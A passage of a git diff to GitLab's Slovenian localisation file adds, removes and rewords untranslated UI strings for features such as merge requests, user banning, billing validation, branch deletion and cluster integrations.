-
-msgid "mrWidget|Cancel automatic merge"
+msgid "mrWidget|Cancel"
msgstr ""
msgid "mrWidget|Check out branch"
@@ -38667,9 +39437,6 @@ msgstr ""
msgid "mrWidget|Fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
-msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -38685,12 +39452,18 @@ msgstr ""
msgid "mrWidget|Mark as ready"
msgstr ""
+msgid "mrWidget|Members who can merge are allowed to add commits."
+msgstr ""
+
msgid "mrWidget|Mentions"
msgstr ""
msgid "mrWidget|Merge"
msgstr ""
+msgid "mrWidget|Merge blocked: all threads must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -39104,6 +39877,12 @@ msgstr ""
msgid "satisfied"
msgstr ""
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is invalid"
+msgstr ""
+
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is missing"
+msgstr ""
+
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -39227,6 +40006,9 @@ msgstr ""
msgid "the wiki"
msgstr ""
+msgid "then"
+msgstr ""
+
msgid "this document"
msgstr ""
diff --git a/locale/sl_SI/gitlab.po b/locale/sl_SI/gitlab.po
index 7e350973fb7..37a20f5db2d 100644
--- a/locale/sl_SI/gitlab.po
+++ b/locale/sl_SI/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: sl\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-05-03 22:25\n"
+"PO-Revision-Date: 2021-06-01 20:47\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
@@ -341,6 +341,13 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "%d item"
+msgid_plural "%d items"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -685,9 +692,6 @@ msgstr ""
msgid "%{global_id} is not a valid ID for %{expected_types}."
msgstr ""
-msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
-msgstr ""
-
msgid "%{group_name} activity"
msgstr ""
@@ -790,10 +794,10 @@ msgstr ""
msgid "%{link_start}Read more%{link_end} about role permissions"
msgstr ""
-msgid "%{link_start}Remove the %{draft_or_wip_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
+msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet} or %{wip_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
@@ -936,6 +940,12 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation_link}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -989,9 +999,6 @@ msgstr ""
msgid "%{strongStart}Deletes%{strongEnd} source branch"
msgstr ""
-msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -1120,9 +1127,15 @@ msgstr ""
msgid "%{userName}'s avatar"
msgstr ""
+msgid "%{user_name} (%{user_username}) was removed from %{rotation} in %{schedule} in %{project}. "
+msgstr ""
+
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} changed the draft status of merge request %{mr_link}"
+msgstr ""
+
msgid "%{username} has asked for a GitLab account on your instance %{host}:"
msgstr ""
@@ -1186,9 +1199,6 @@ msgstr ""
msgid "'%{name}' Value Stream saved"
msgstr ""
-msgid "'%{name}' stage already exists"
-msgstr ""
-
msgid "'%{source}' is not a import source"
msgstr ""
@@ -1572,6 +1582,9 @@ msgstr ""
msgid "A Let's Encrypt account will be configured for this GitLab installation using your email address. You will receive emails to warn of expiring certificates."
msgstr ""
+msgid "A banned user cannot:"
+msgstr ""
+
msgid "A basic page and serverless function that uses AWS Lambda, AWS API Gateway, and GitLab Pages"
msgstr ""
@@ -1593,6 +1606,9 @@ msgstr ""
msgid "A description is required"
msgstr ""
+msgid "A different reason"
+msgstr ""
+
msgid "A file has been changed."
msgstr ""
@@ -1662,9 +1678,6 @@ msgstr ""
msgid "A project containing issues for each audit inquiry in the HIPAA Audit Protocol published by the U.S. Department of Health & Human Services"
msgstr ""
-msgid "A project is where you house your files (repository), plan your work (issues), and publish your documentation (wiki), %{among_other_things_link}."
-msgstr ""
-
msgid "A project’s repository name defines its URL (the one you use to access the project via a browser) and its place on the file disk where GitLab is installed. %{link_start}Learn more.%{link_end}"
msgstr ""
@@ -1677,6 +1690,9 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
+msgid "A rule must be provided to create an escalation policy"
+msgstr ""
+
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1722,9 +1738,6 @@ msgstr ""
msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|/folder/example_file.json"
-msgstr ""
-
msgid "APIFuzzing|API Fuzzing Configuration"
msgstr ""
@@ -1764,30 +1777,24 @@ msgstr ""
msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
+msgid "APIFuzzing|File path or URL to APIs to be tested. For example, folder/example_fuzz.har. HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
+msgid "APIFuzzing|File path or URL to OpenAPI specification. For example, folder/openapi.json or http://www.example.com/openapi.json."
msgstr ""
-msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
+msgid "APIFuzzing|File path or URL to requests to be tested. For example, folder/example.postman_collection.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
msgstr ""
-msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
-msgstr ""
-
msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
-msgstr ""
-
msgid "APIFuzzing|Predefined profiles"
msgstr ""
@@ -1803,7 +1810,7 @@ msgstr ""
msgid "APIFuzzing|Target URL"
msgstr ""
-msgid "APIFuzzing|There are two ways to perform scans."
+msgid "APIFuzzing|There are three ways to perform scans."
msgstr ""
msgid "APIFuzzing|Tip: Insert the following variables anywhere below stages and include"
@@ -1830,6 +1837,15 @@ msgstr ""
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
+msgid "APIFuzzing|folder/example.postman_collection.json"
+msgstr ""
+
+msgid "APIFuzzing|folder/example_fuzz.har"
+msgstr ""
+
+msgid "APIFuzzing|folder/openapi.json"
+msgstr ""
+
msgid "AWS Access Key"
msgstr ""
@@ -2097,6 +2113,9 @@ msgstr ""
msgid "Add a bullet list"
msgstr ""
+msgid "Add a collapsible section"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2373,6 +2392,9 @@ msgstr ""
msgid "Adjust your filters/search criteria above. If you believe this may be an error, please refer to the %{linkStart}Geo Troubleshooting%{linkEnd} documentation for more information."
msgstr ""
+msgid "Admin"
+msgstr ""
+
msgid "Admin Area"
msgstr ""
@@ -2538,9 +2560,6 @@ msgstr ""
msgid "AdminSettings|Feed token"
msgstr ""
-msgid "AdminSettings|Go to General Settings"
-msgstr ""
-
msgid "AdminSettings|Keep the latest artifacts for all jobs in the latest successful pipelines"
msgstr ""
@@ -2553,9 +2572,6 @@ msgstr ""
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|PlantUML, Slack application, Third party offers, Snowplow, Amazon EKS have moved to Settings &gt; General."
-msgstr ""
-
msgid "AdminSettings|Required pipeline configuration"
msgstr ""
@@ -2580,9 +2596,6 @@ msgstr ""
msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
msgstr ""
-msgid "AdminSettings|Some settings have moved"
-msgstr ""
-
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr ""
@@ -2628,6 +2641,9 @@ msgstr ""
msgid "AdminUsers|(Admin)"
msgstr ""
+msgid "AdminUsers|(Banned)"
+msgstr ""
+
msgid "AdminUsers|(Blocked)"
msgstr ""
@@ -2646,6 +2662,9 @@ msgstr ""
msgid "AdminUsers|2FA Enabled"
msgstr ""
+msgid "AdminUsers|A user can validate themselves by inputting a credit/debit card, or an admin can manually validate a user."
+msgstr ""
+
msgid "AdminUsers|Access"
msgstr ""
@@ -2694,6 +2713,21 @@ msgstr ""
msgid "AdminUsers|Automatically marked as default internal user"
msgstr ""
+msgid "AdminUsers|Ban"
+msgstr ""
+
+msgid "AdminUsers|Ban user"
+msgstr ""
+
+msgid "AdminUsers|Ban user %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Banned"
+msgstr ""
+
+msgid "AdminUsers|Banning the user has the following effects:"
+msgstr ""
+
msgid "AdminUsers|Be added to groups and projects"
msgstr ""
@@ -2724,6 +2758,9 @@ msgstr ""
msgid "AdminUsers|Cohorts"
msgstr ""
+msgid "AdminUsers|Could not load user group counts. Please refresh the page to try again."
+msgstr ""
+
msgid "AdminUsers|Deactivate"
msgstr ""
@@ -2778,6 +2815,9 @@ msgstr ""
msgid "AdminUsers|It's you!"
msgstr ""
+msgid "AdminUsers|Learn more about %{link_start}banned users.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Log in"
msgstr ""
@@ -2859,6 +2899,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unban"
+msgstr ""
+
+msgid "AdminUsers|Unban %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Unban user"
+msgstr ""
+
msgid "AdminUsers|Unblock"
msgstr ""
@@ -2874,6 +2923,12 @@ msgstr ""
msgid "AdminUsers|Unlock user %{username}?"
msgstr ""
+msgid "AdminUsers|User is validated and can use free CI minutes on shared runners."
+msgstr ""
+
+msgid "AdminUsers|User will be blocked"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2886,6 +2941,9 @@ msgstr ""
msgid "AdminUsers|Users can still be invited to your instance and/or add themselves if permitted based on your settings. They will not have access to your instance, nor count towards your subscribed seat count until you %{approve_link}."
msgstr ""
+msgid "AdminUsers|Validate user account"
+msgstr ""
+
msgid "AdminUsers|View pending member requests"
msgstr ""
@@ -2910,6 +2968,9 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You ban their account in the future if necessary."
+msgstr ""
+
msgid "AdminUsers|You can always block their account again if needed."
msgstr ""
@@ -2922,6 +2983,9 @@ msgstr ""
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
+msgid "AdminUsers|You can unban their account in the future. Their data remains intact."
+msgstr ""
+
msgid "AdminUsers|You cannot remove your own admin rights."
msgstr ""
@@ -2967,9 +3031,6 @@ msgstr ""
msgid "Advanced Search"
msgstr ""
-msgid "Advanced Search with Elasticsearch"
-msgstr ""
-
msgid "Advanced Settings"
msgstr ""
@@ -3010,9 +3071,6 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "Alert integrations"
-msgstr ""
-
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -3382,9 +3440,6 @@ msgstr ""
msgid "All epics"
msgstr ""
-msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
-msgstr ""
-
msgid "All groups and projects"
msgstr ""
@@ -3487,6 +3542,9 @@ msgstr ""
msgid "Allowed Geo IP"
msgstr ""
+msgid "Allowed characters: +, 0-9, -, and spaces."
+msgstr ""
+
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
@@ -3700,6 +3758,9 @@ msgstr ""
msgid "An error occurred while fetching markdown preview"
msgstr ""
+msgid "An error occurred while fetching participants"
+msgstr ""
+
msgid "An error occurred while fetching participants."
msgstr ""
@@ -3793,9 +3854,6 @@ msgstr ""
msgid "An error occurred while loading merge requests."
msgstr ""
-msgid "An error occurred while loading project creation UI"
-msgstr ""
-
msgid "An error occurred while loading the access tokens form, please try again."
msgstr ""
@@ -3865,7 +3923,7 @@ msgstr ""
msgid "An error occurred while reordering issues."
msgstr ""
-msgid "An error occurred while requesting data from the Jira service"
+msgid "An error occurred while requesting data from the Jira service."
msgstr ""
msgid "An error occurred while retrieving calendar activity"
@@ -4346,6 +4404,9 @@ msgstr ""
msgid "Approvers"
msgstr ""
+msgid "Approvers from private group(s) not shown"
+msgstr ""
+
msgid "Apr"
msgstr ""
@@ -4376,16 +4437,13 @@ msgstr ""
msgid "Archived in this version"
msgstr ""
-msgid "Archived project! Repository and other project resources are read only"
-msgstr ""
-
msgid "Archived project! Repository and other project resources are read-only"
msgstr ""
msgid "Archived projects"
msgstr ""
-msgid "Archiving the project will make it entirely read only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
+msgid "Archiving the project will make it entirely read-only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
@@ -4970,7 +5028,7 @@ msgstr ""
msgid "Automatic deployment rollbacks"
msgstr ""
-msgid "Automatically close incidents when the associated Prometheus alert resolves."
+msgid "Automatically close associated incident when a recovery alert notification resolves an alert"
msgstr ""
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
@@ -5039,6 +5097,9 @@ msgstr ""
msgid "Background Jobs"
msgstr ""
+msgid "Background Migrations"
+msgstr ""
+
msgid "Background color"
msgstr ""
@@ -5195,6 +5256,9 @@ msgstr ""
msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
+msgid "BillingPlans|Compare all plans"
+msgstr ""
+
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr ""
@@ -5213,6 +5277,9 @@ msgstr ""
msgid "BillingPlans|Learn more about each plan by visiting our %{pricing_page_link}."
msgstr ""
+msgid "BillingPlans|Looking to purchase or manage a subscription for your group? Navigate to your %{groups_link} and go to %{strong_open}Settings &gt; Billing.%{strong_close}"
+msgstr ""
+
msgid "BillingPlans|Manage plan"
msgstr ""
@@ -5228,6 +5295,9 @@ msgstr ""
msgid "BillingPlans|To manage the plan for this group, visit the billing section of %{parent_billing_page_link}."
msgstr ""
+msgid "BillingPlans|Upgrade to GitLab %{planNameForUpgrade}"
+msgstr ""
+
msgid "BillingPlans|While GitLab is ending availability of the Bronze plan, you can still renew your Bronze subscription one additional time before %{eoa_bronze_plan_end_date}. We are also offering a limited time free upgrade to our Premium Plan (up to 25 users)! Learn more about the changes and offers in our %{announcement_link}."
msgstr ""
@@ -5246,6 +5316,9 @@ msgstr ""
msgid "BillingPlans|frequently asked questions"
msgstr ""
+msgid "BillingPlans|group"
+msgstr ""
+
msgid "BillingPlans|monthly"
msgstr ""
@@ -5261,6 +5334,27 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd}"
+msgstr ""
+
+msgid "Billings|User successfully validated"
+msgstr ""
+
+msgid "Billings|User validation required"
+msgstr ""
+
+msgid "Billings|Validate account"
+msgstr ""
+
+msgid "Billings|Validate user account"
+msgstr ""
+
+msgid "Billings|Your user account has been successfully validated. You can now use free pipeline minutes."
+msgstr ""
+
msgid "Billing|An email address is only visible for users with public emails."
msgstr ""
@@ -5273,6 +5367,9 @@ msgstr ""
msgid "Billing|An error occurred while removing a billable member"
msgstr ""
+msgid "Billing|Cannot remove user"
+msgstr ""
+
msgid "Billing|Direct memberships"
msgstr ""
@@ -5282,6 +5379,12 @@ msgstr ""
msgid "Billing|Group"
msgstr ""
+msgid "Billing|Group invite"
+msgstr ""
+
+msgid "Billing|Members who were invited via a group invitation cannot be removed. You can either remove the entire group, or ask an Owner of the invited group to remove the member."
+msgstr ""
+
msgid "Billing|No users to display."
msgstr ""
@@ -5516,6 +5619,9 @@ msgstr ""
msgid "Branches|All"
msgstr ""
+msgid "Branches|Cancel, keep branch"
+msgstr ""
+
msgid "Branches|Cant find HEAD commit for this branch"
msgstr ""
@@ -5528,6 +5634,9 @@ msgstr ""
msgid "Branches|Delete branch"
msgstr ""
+msgid "Branches|Delete branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
msgid "Branches|Delete merged branches"
msgstr ""
@@ -5537,6 +5646,12 @@ msgstr ""
msgid "Branches|Delete protected branch '%{branch_name}'?"
msgstr ""
+msgid "Branches|Delete protected branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
+msgid "Branches|Deleting the %{strongStart}%{branchName}%{strongEnd} branch cannot be undone. Are you sure?"
+msgstr ""
+
msgid "Branches|Deleting the '%{branch_name}' branch cannot be undone. Are you sure?"
msgstr ""
@@ -5558,12 +5673,18 @@ msgstr ""
msgid "Branches|Once you confirm and press %{delete_protected_branch}, it cannot be undone or recovered."
msgstr ""
+msgid "Branches|Once you confirm and press %{strongStart}%{buttonText},%{strongEnd} it cannot be undone or recovered."
+msgstr ""
+
msgid "Branches|Only a project maintainer or owner can delete a protected branch"
msgstr ""
msgid "Branches|Overview"
msgstr ""
+msgid "Branches|Please type the following to confirm:"
+msgstr ""
+
msgid "Branches|Protected branches can be managed in %{project_settings_link}."
msgstr ""
@@ -5597,6 +5718,9 @@ msgstr ""
msgid "Branches|The default branch cannot be deleted"
msgstr ""
+msgid "Branches|This branch hasn’t been merged into %{defaultBranchName}. To avoid data loss, consider merging this branch before deleting it."
+msgstr ""
+
msgid "Branches|This branch hasn’t been merged into %{default_branch}."
msgstr ""
@@ -5609,6 +5733,18 @@ msgstr ""
msgid "Branches|To discard the local changes and overwrite the branch with the upstream version, delete it here and choose 'Update Now' above."
msgstr ""
+msgid "Branches|Yes, delete branch"
+msgstr ""
+
+msgid "Branches|Yes, delete protected branch"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the protected branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
msgid "Branches|You’re about to permanently delete the protected branch %{branch_name}."
msgstr ""
@@ -5678,6 +5814,9 @@ msgstr ""
msgid "BulkImport|From source group"
msgstr ""
+msgid "BulkImport|Import %{groups}"
+msgstr ""
+
msgid "BulkImport|Import failed: Destination cannot be a subgroup of the source group. Change the destination and try again."
msgstr ""
@@ -5690,9 +5829,15 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|No groups on this page are available for import"
+msgstr ""
+
msgid "BulkImport|No parent"
msgstr ""
+msgid "BulkImport|One or more groups has validation errors"
+msgstr ""
+
msgid "BulkImport|Showing %{start}-%{end} of %{total}"
msgstr ""
@@ -5759,9 +5904,6 @@ msgstr ""
msgid "By authenticating with an account tied to an Enterprise e-mail address, it is understood that this account is an Enterprise User. "
msgstr ""
-msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
-msgstr ""
-
msgid "By default GitLab sends emails in HTML and plain text formats so mail clients can choose what format to use. Disable this option if you only want to send emails in plain text format."
msgstr ""
@@ -5810,15 +5952,15 @@ msgstr ""
msgid "CI/CD configuration file"
msgstr ""
-msgid "CI/CD for external repo"
-msgstr ""
-
msgid "CICDAnalytics|%{percent}%{percentSymbol}"
msgstr ""
msgid "CICDAnalytics|All time"
msgstr ""
+msgid "CICDAnalytics|Deployment frequency"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5829,6 +5971,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "CICDAnalytics|Release statistics"
+msgstr ""
+
msgid "CICDAnalytics|Releases"
msgstr ""
@@ -6522,7 +6667,7 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
+msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
msgid "Choose a file"
@@ -6906,72 +7051,6 @@ msgstr ""
msgid "Cloud licenses can not be removed."
msgstr ""
-msgid "CloudLicense|Activate"
-msgstr ""
-
-msgid "CloudLicense|Activate subscription"
-msgstr ""
-
-msgid "CloudLicense|Activation code"
-msgstr ""
-
-msgid "CloudLicense|Billable users"
-msgstr ""
-
-msgid "CloudLicense|Buy subscription"
-msgstr ""
-
-msgid "CloudLicense|Free trial"
-msgstr ""
-
-msgid "CloudLicense|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
-msgstr ""
-
-msgid "CloudLicense|Learn how to %{linkStart}activate your subscription%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|Maximum users"
-msgstr ""
-
-msgid "CloudLicense|Paste your activation code"
-msgstr ""
-
-msgid "CloudLicense|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
-msgstr ""
-
-msgid "CloudLicense|Start free trial"
-msgstr ""
-
-msgid "CloudLicense|Subscription"
-msgstr ""
-
-msgid "CloudLicense|This is the highest peak of users on your installation since the license started."
-msgstr ""
-
-msgid "CloudLicense|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
-msgstr ""
-
-msgid "CloudLicense|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Sync service%{linkEnd}, a hassle-free way to manage your subscription."
-msgstr ""
-
-msgid "CloudLicense|Users in subscription"
-msgstr ""
-
-msgid "CloudLicense|Users over subscription"
-msgstr ""
-
-msgid "CloudLicense|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
-msgstr ""
-
-msgid "CloudLicense|You can start a free trial of GitLab Ultimate without any obligation or payment details."
-msgstr ""
-
-msgid "CloudLicense|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -7134,6 +7213,12 @@ msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespaces and service accounts for this cluster."
msgstr ""
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Elasticsearch for pod logs."
+msgstr ""
+
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
+msgstr ""
+
msgid "ClusterIntegration|Alternatively, "
msgstr ""
@@ -7176,12 +7261,6 @@ msgstr ""
msgid "ClusterIntegration|Base domain"
msgstr ""
-msgid "ClusterIntegration|Before you enable this integration, follow the %{link_start}documented process%{link_end}."
-msgstr ""
-
-msgid "ClusterIntegration|Blocking mode"
-msgstr ""
-
msgid "ClusterIntegration|CA Certificate"
msgstr ""
@@ -7344,6 +7423,9 @@ msgstr ""
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
+msgid "ClusterIntegration|Enable Elastic Stack integration"
+msgstr ""
+
msgid "ClusterIntegration|Enable Prometheus integration"
msgstr ""
@@ -7428,9 +7510,6 @@ msgstr ""
msgid "ClusterIntegration|GitLab-managed cluster"
msgstr ""
-msgid "ClusterIntegration|Global default"
-msgstr ""
-
msgid "ClusterIntegration|Google Cloud Platform project"
msgstr ""
@@ -7491,7 +7570,7 @@ msgstr ""
msgid "ClusterIntegration|Integration enabled"
msgstr ""
-msgid "ClusterIntegration|Integrations enable you to integrate your cluster as part of your GitLab workflow."
+msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
msgid "ClusterIntegration|Issuer Email"
@@ -7587,9 +7666,6 @@ msgstr ""
msgid "ClusterIntegration|Loading subnetworks"
msgstr ""
-msgid "ClusterIntegration|Logging mode"
-msgstr ""
-
msgid "ClusterIntegration|Machine type"
msgstr ""
@@ -7602,9 +7678,6 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
-msgid "ClusterIntegration|ModSecurity enabled"
-msgstr ""
-
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7701,9 +7774,6 @@ msgstr ""
msgid "ClusterIntegration|Read our %{link_start}help page%{link_end} on Kubernetes cluster integration."
msgstr ""
-msgid "ClusterIntegration|Real-time web application monitoring, logging and access control. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Remove Kubernetes cluster integration"
msgstr ""
@@ -7842,9 +7912,6 @@ msgstr ""
msgid "ClusterIntegration|Send Container Network Policies Logs"
msgstr ""
-msgid "ClusterIntegration|Send Web Application Firewall Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7857,9 +7924,6 @@ msgstr ""
msgid "ClusterIntegration|Set a prefix for your namespaces. If not set, defaults to your project path. If modified, existing environments will use their current namespaces until the cluster cache is cleared."
msgstr ""
-msgid "ClusterIntegration|Set the global mode for the WAF in this cluster. This can be overridden at the environmental level."
-msgstr ""
-
msgid "ClusterIntegration|Something went wrong on our end."
msgstr ""
@@ -8133,6 +8197,15 @@ msgstr ""
msgid "CodeOwner|Pattern"
msgstr ""
+msgid "CodeQuality|Code quality"
+msgstr ""
+
+msgid "CodeQuality|New code quality degradations in this file"
+msgstr ""
+
+msgid "CodeQuality|Some changes in this file degrade the code quality."
+msgstr ""
+
msgid "Cohorts|Inactive users"
msgstr ""
@@ -8278,6 +8351,9 @@ msgstr ""
msgid "CommitMessage|Add %{file_name}"
msgstr ""
+msgid "CommitMessage|Add %{file_name} and create a code quality job"
+msgstr ""
+
msgid "CommitWidget|authored"
msgstr ""
@@ -8416,9 +8492,6 @@ msgstr ""
msgid "Compliance framework"
msgstr ""
-msgid "Compliance framework (optional)"
-msgstr ""
-
msgid "Compliance framework (optional)"
msgstr ""
@@ -8539,6 +8612,9 @@ msgstr ""
msgid "Configuration"
msgstr ""
+msgid "Configuration help"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8602,6 +8678,9 @@ msgstr ""
msgid "Configure repository mirroring."
msgstr ""
+msgid "Configure settings for Advanced Search with Elasticsearch."
+msgstr ""
+
msgid "Configure specific limits for Packages API requests that supersede the general user and IP rate limits."
msgstr ""
@@ -8763,6 +8842,9 @@ msgstr ""
msgid "ContainerRegistry|%{title} was successfully scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|-- tags"
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -9445,9 +9527,6 @@ msgstr ""
msgid "Create Project"
msgstr ""
-msgid "Create Value Stream"
-msgstr ""
-
msgid "Create a GitLab account first, and then connect it to your %{label} account."
msgstr ""
@@ -9478,9 +9557,6 @@ msgstr ""
msgid "Create a personal access token on your account to pull or push via %{protocol}."
msgstr ""
-msgid "Create a project pre-populated with the necessary files to get you started quickly."
-msgstr ""
-
msgid "Create an account using:"
msgstr ""
@@ -9532,6 +9608,9 @@ msgstr ""
msgid "Create group label"
msgstr ""
+msgid "Create incident"
+msgstr ""
+
msgid "Create issue"
msgstr ""
@@ -9583,6 +9662,9 @@ msgstr ""
msgid "Create new label"
msgstr ""
+msgid "Create new project"
+msgstr ""
+
msgid "Create new..."
msgstr ""
@@ -9616,6 +9698,9 @@ msgstr ""
msgid "Create your group"
msgstr ""
+msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
+msgstr ""
+
